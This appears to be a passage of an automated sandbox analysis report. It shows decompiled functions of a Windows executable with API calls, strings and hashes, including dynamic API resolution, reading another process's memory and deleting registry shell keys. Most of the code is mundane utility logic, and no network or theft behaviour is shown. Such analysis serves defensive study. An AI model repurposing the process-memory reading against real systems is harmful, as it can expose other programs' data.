Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

0x00409c73
0x00409c7c
0x00409c90
0x00409c9f
0x00409ca2
0x00409ca7
0x00409ca9
0x00409cb1
0x00409cc0
0x00409cc2
0x00409cc7
0x00409ccf
0x00409cd0
0x00409cd7
0x00409cd8
0x00409cd9
0x00409cda
0x00409cdc
0x00409ce0
0x00409ce1
0x00409ce9
0x00409cf1
0x00409cfb
0x00409d08
0x00409d08
0x00000000
0x00409d0d
0x00409d0f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

ntdll.dll, xrefs: 00409CB3
GetProcAddress, xrefs: 00409C98, 00409C9D
LdrGetProcedureAddress, xrefs: 00409CBA
kernel32.dll, xrefs: 00409C8B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t48;
				void* _t56;
				signed int _t57;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					if(ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8) == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8);
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t69 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292);
						E004055D1(_t61,  &_v28);
					}
					E004055D1(CloseHandle(_a16),  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401bee
0x00401bf0
0x00401bf0
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNEL32(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNEL32(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
CloseHandle.KERNEL32(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$CloseHandleOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 2567117392-2565891505
Opcode ID: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004045BA, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004045BA(void* __ebx, void* __ecx, void* __eflags) {
				void* _v8;
				void _v2054;
				short _v2056;
				void _v4102;
				short _v4104;
				signed int _t28;
				void* _t34;

				E0040B550(0x1004, __ecx);
				_t36 = 0;
				if(E004043F8( &_v8, 0x2001f) == 0) {
					_v2056 = 0;
					memset( &_v2054, 0, 0x7fe);
					_v4104 = 0;
					memset( &_v4102, 0, 0x7fe);
					_t34 = __ebx + 0x20a;
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s\\command");
					_push(0x3ff);
					_push( &_v2056);
					L0040B1EC();
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v4104);
					L0040B1EC();
					RegDeleteKeyW(_v8,  &_v2056);
					_t28 = RegDeleteKeyW(_v8,  &_v4104);
					asm("sbb esi, esi");
					_t36 =  ~_t28 + 1;
					RegCloseKey(_v8);
				}
				return _t36;
			}

0x004045c2
0x004045d1
0x004045da
0x004045ef
0x004045f6
0x00404604
0x0040460b
0x00404610
0x00404616
0x00404617
0x00404618
0x00404628
0x00404629
0x0040462a
0x0040462f
0x00404630
0x00404631
0x0040463c
0x0040463d
0x0040463e
0x00404656
0x00404662
0x0040466b
0x0040466d
0x0040466e
0x00404674
0x00404679

APIs

memset.MSVCRT ref: 004045F6
memset.MSVCRT ref: 0040460B
_snwprintf.MSVCRT ref: 0040462A
_snwprintf.MSVCRT ref: 0040463E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404656
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404662
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?,?,00403904), ref: 0040466E

Strings

%s\shell\%s, xrefs: 00404631
%s\shell\%s\command, xrefs: 00404618

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Delete_snwprintfmemset$Close
String ID: %s\shell\%s$%s\shell\%s\command
API String ID: 1018939227-3575174989
Opcode ID: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction ID: ac83cb79e3d5854fe24d0bbfc9a3a323e310d753dc8b3985e5e0c668aff5e890
Opcode Fuzzy Hash: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction Fuzzy Hash: 2F115E72800128BACB2097958D45ECBBABCEF49794F0001B6BA08F2151D7745F449AED

Uniqueness

Uniqueness Score: -1.00%

Function 0040313D, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040313D(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryW(L"comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxW(_t6, L"Error: Cannot load the common control classes.", L"Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040314a
0x00403151
0x00403158
0x0040315a
0x00403162
0x00403166
0x00403190
0x00403190
0x00403198
0x00403199
0x0040319e
0x004031bb
0x004031a0
0x004031ad
0x004031b6
0x004031b6
0x0040319e
0x0040316e
0x00403176
0x0040317c
0x0040317f
0x0040317f
0x00403182
0x0040318a
0x00000000
0x0040318c
0x0040318c
0x00000000
0x0040318c

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
#17.COMCTL32(?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403190
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

Strings

comctl32.dll, xrefs: 00403145
Error: Cannot load the common control classes., xrefs: 004031A7
InitCommonControlsEx, xrefs: 00403168
Error, xrefs: 004031A2

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction ID: 155fb52d9805f4d7e0650ae201b0fcd9156dc3619c14d31e00ff2d1348fe2513
Opcode Fuzzy Hash: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction Fuzzy Hash: 5A01D672751201EAD3115FB4AC89F7B7EACDF4974AB00023AF505F51C0DA78DA01869C

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA9, Relevance: 15.1, APIs: 10, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404DA9(void* __edx, struct HWND__* _a4, signed int _a8) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t50;
				long _t61;
				struct HDC__* _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				struct HWND__* _t71;
				intOrPtr _t72;
				void* _t73;
				int _t74;
				int _t80;
				int _t83;

				_t73 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t74 = GetSystemMetrics(0x11);
				_t80 = GetSystemMetrics(0x10);
				if(_t74 == 0 || _t80 == 0) {
					_t63 = GetDC(0);
					_t80 = GetDeviceCaps(_t63, 8);
					_t74 = GetDeviceCaps(_t63, 0xa);
					ReleaseDC(0, _t63);
				}
				GetWindowRect(_a4,  &_v44);
				if((_a8 & 0x00000004) != 0) {
					_t71 = GetParent(_a4);
					if(_t71 != 0) {
						_v28.left = _v28.left & 0x00000000;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						GetWindowRect(_t71,  &_v28);
						_t61 = _v28.left;
						_t72 = _v28.top;
						_t80 = _v28.right - _t61 + 1;
						_t74 = _v28.bottom - _t72 + 1;
						_v8 = _t61;
						_v12 = _t72;
					}
				}
				_t65 = _v44.right;
				if((_a8 & 0x00000001) == 0) {
					asm("cdq");
					_t83 = (_v44.left - _t65 + _t80 - 1 - _t73 >> 1) + _v8;
				} else {
					_t83 = 0;
				}
				_t68 = _v44.bottom;
				if((_a8 & 0x00000002) != 0) {
					L11:
					_t50 = 0;
					goto L12;
				} else {
					asm("cdq");
					_t50 = (_v44.top - _t68 + _t74 - 1 - _t73 >> 1) + _v12;
					if(_t50 >= 0) {
						L12:
						if(_t83 < 0) {
							_t83 = 0;
						}
						return MoveWindow(_a4, _t83, _t50, _t65 - _v44.left + 1, _t68 - _v44.top + 1, 1);
					}
					goto L11;
				}
			}

0x00404da9
0x00404dbc
0x00404dbf
0x00404dc6
0x00404dcc
0x00404dce
0x00404de1
0x00404deb
0x00404df2
0x00404df4
0x00404df4
0x00404e07
0x00404e0d
0x00404e18
0x00404e1c
0x00404e1e
0x00404e27
0x00404e28
0x00404e29
0x00404e2f
0x00404e31
0x00404e37
0x00404e41
0x00404e42
0x00404e43
0x00404e46
0x00404e46
0x00404e1c
0x00404e4d
0x00404e50
0x00404e5f
0x00404e66
0x00404e52
0x00404e52
0x00404e52
0x00404e6d
0x00404e70
0x00404e85
0x00404e85
0x00000000
0x00404e72
0x00404e7b
0x00404e80
0x00404e83
0x00404e87
0x00404e89
0x00404e8b
0x00404e8b
0x00404ea8
0x00404ea8
0x00000000
0x00404e83

APIs

GetSystemMetrics.USER32 ref: 00404DC2
GetSystemMetrics.USER32 ref: 00404DC8
GetDC.USER32(00000000), ref: 00404DD5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00404DE6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00404DED
ReleaseDC.USER32 ref: 00404DF4
GetWindowRect.USER32 ref: 00404E07
GetParent.USER32(?), ref: 00404E12
GetWindowRect.USER32 ref: 00404E2F
MoveWindow.USER32(?,?,00000000,?,?,00000001), ref: 00404E9E

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction ID: fcbc432c8b17a9ec8ea4481816a0c35ab2ad0e4d246cd47a42b035ba49fba047
Opcode Fuzzy Hash: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction Fuzzy Hash: D63197B1900219AFDB10DFB8CD84AEEBBB8EB44314F054179EE05B7291D674AD418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00406398, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406398(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00404AAA(_a4);
				if(_t3 != 0) {
					wcscpy(0x40fb90, _a4);
					wcscpy(0x40fda0, L"general");
					_t6 = GetPrivateProfileIntW(0x40fda0, L"rtl", 0, 0x40fb90);
					asm("sbb eax, eax");
					 *0x40fe28 =  ~(_t6 - 1) + 1;
					E00405F14(0x40fe30, L"charset", 0x3f);
					E00405F14(0x40feb0, L"TranslatorName", 0x3f);
					return E00405F14(0x40ff30, L"TranslatorURL", 0xff);
				}
				return _t3;
			}

0x0040639c
0x004063a4
0x004063b2
0x004063c2
0x004063d3
0x004063dc
0x004063eb
0x004063f0
0x00406401
0x00000000
0x0040641e
0x0040641f

APIs

Part of subcall function 00404AAA: GetFileAttributesW.KERNEL32(?,004063A1,?,00406458,00000000,?,00000000,00000208,?), ref: 00404AAE

wcscpy.MSVCRT ref: 004063B2
wcscpy.MSVCRT ref: 004063C2
GetPrivateProfileIntW.KERNEL32 ref: 004063D3

Part of subcall function 00405F14: GetPrivateProfileStringW.KERNEL32(0040FDA0,?,0040C4E8,0040FE30,?,0040FB90), ref: 00405F30

Strings

charset, xrefs: 004063E1
general, xrefs: 004063B7
rtl, xrefs: 004063CD
TranslatorURL, xrefs: 0040640B
TranslatorName, xrefs: 004063F7

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction ID: e4db3026d56c82c297763cb3084dd600e002768b85b35a6fcc1e36585c673314
Opcode Fuzzy Hash: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction Fuzzy Hash: E2F09032EA422276EA203321DC4BF2B2555CBD1B18F15417BBA08BA5D3DB7C580645ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF1, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040ADF1(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push(L"&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push(L"<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push(L"&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push(L"&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, L"&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push(L"&gt;");
						goto L14;
					}
					goto L16;
				}
			}

0x0040adf6
0x0040adf8
0x0040adfa
0x0040adfb
0x0040adfb
0x0040ae02
0x00000000
0x00000000
0x0040ae04
0x0040ae05
0x0040ae6d
0x0040ae6e
0x0040ae73
0x0040ae76
0x0040ae7f
0x0040ae83
0x0040ae86
0x00000000
0x0040ae86
0x0040ae8f
0x0040ae0c
0x0040ae10
0x0040ae1e
0x0040ae3b
0x0040ae4a
0x0040ae65
0x0040ae7a
0x0040ae7e
0x0040ae67
0x0040ae67
0x0040ae68
0x00000000
0x0040ae68
0x0040ae4c
0x0040ae4c
0x0040ae4e
0x00000000
0x0040ae4e
0x0040ae3d
0x0040ae3d
0x0040ae3f
0x0040ae53
0x0040ae54
0x0040ae59
0x0040ae5c
0x0040ae5c
0x0040ae20
0x0040ae28
0x0040ae2d
0x0040ae30
0x0040ae30
0x0040ae12
0x0040ae12
0x0040ae13
0x00000000
0x0040ae13
0x00000000
0x0040ae10

APIs

memcpy.MSVCRT ref: 0040AE28
memcpy.MSVCRT ref: 0040AE54
memcpy.MSVCRT ref: 0040AE6E

Strings

", xrefs: 0040AE22
<br>, xrefs: 0040AE68
&, xrefs: 0040AE4E
<, xrefs: 0040AE05
>, xrefs: 0040AE13
°, xrefs: 0040AE3F

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction ID: 19d6e8f9099fa728be05f60bd268fa70c064aa74fae363856be53b9475c854a8
Opcode Fuzzy Hash: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction Fuzzy Hash: FE01D25AEC8320A5EA302055DC86F7B2514D7B2B51FA5013BB986392C1E2BD09A7A1DF

Uniqueness

Uniqueness Score: -1.00%

Function 004041EB, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041EB(intOrPtr* __ecx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr* _v12;
				void _v534;
				short _v536;
				void* __ebx;
				void* __edi;
				intOrPtr _t42;
				intOrPtr* _t95;
				RECT* _t96;

				_t95 = __ecx;
				_v12 = __ecx;
				if(_a4 == 0x233) {
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					DragQueryFileW(_a8, 0,  &_v536, 0x104);
					DragFinish(_a8);
					 *((intOrPtr*)( *_t95 + 4))(0);
					E00404923(0x104, _t95 + 0x1680,  &_v536);
					 *((intOrPtr*)( *_v12 + 4))(1);
					_t95 = _v12;
				}
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t42 = _a12;
							 *((intOrPtr*)(_t42 + 0x18)) = 0x1f4;
							 *((intOrPtr*)(_t42 + 0x1c)) = 0x12c;
						}
					} else {
						E00402EC8(_t95 + 0x40);
					}
				} else {
					_v8 = BeginDeferWindowPos(0xd);
					_t96 = _t95 + 0x40;
					E00402E22(_t96, _t44, 0x401, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 2, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x419, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40f, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40e, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40d, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x3fb, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x3fd, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x402, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3e9, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ea, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ee, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x3f3, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x404, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3f6, 1, 0, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t96 + 0x10), _t96, 1);
					_t95 = _v12;
				}
				return E00402CED(_t95, _a4, _a8, _a12);
			}

0x004041f9
0x00404205
0x00404208
0x00404217
0x0040421e
0x00404236
0x0040423f
0x0040424a
0x0040425f
0x0040426b
0x0040426e
0x0040426e
0x00404275
0x004043be
0x004043ce
0x004043d0
0x004043d3
0x004043da
0x004043da
0x004043c0
0x004043c3
0x004043c3
0x0040427b
0x0040428c
0x0040428f
0x00404295
0x004042a5
0x004042b8
0x004042cb
0x004042de
0x004042f1
0x00404304
0x00404317
0x0040432a
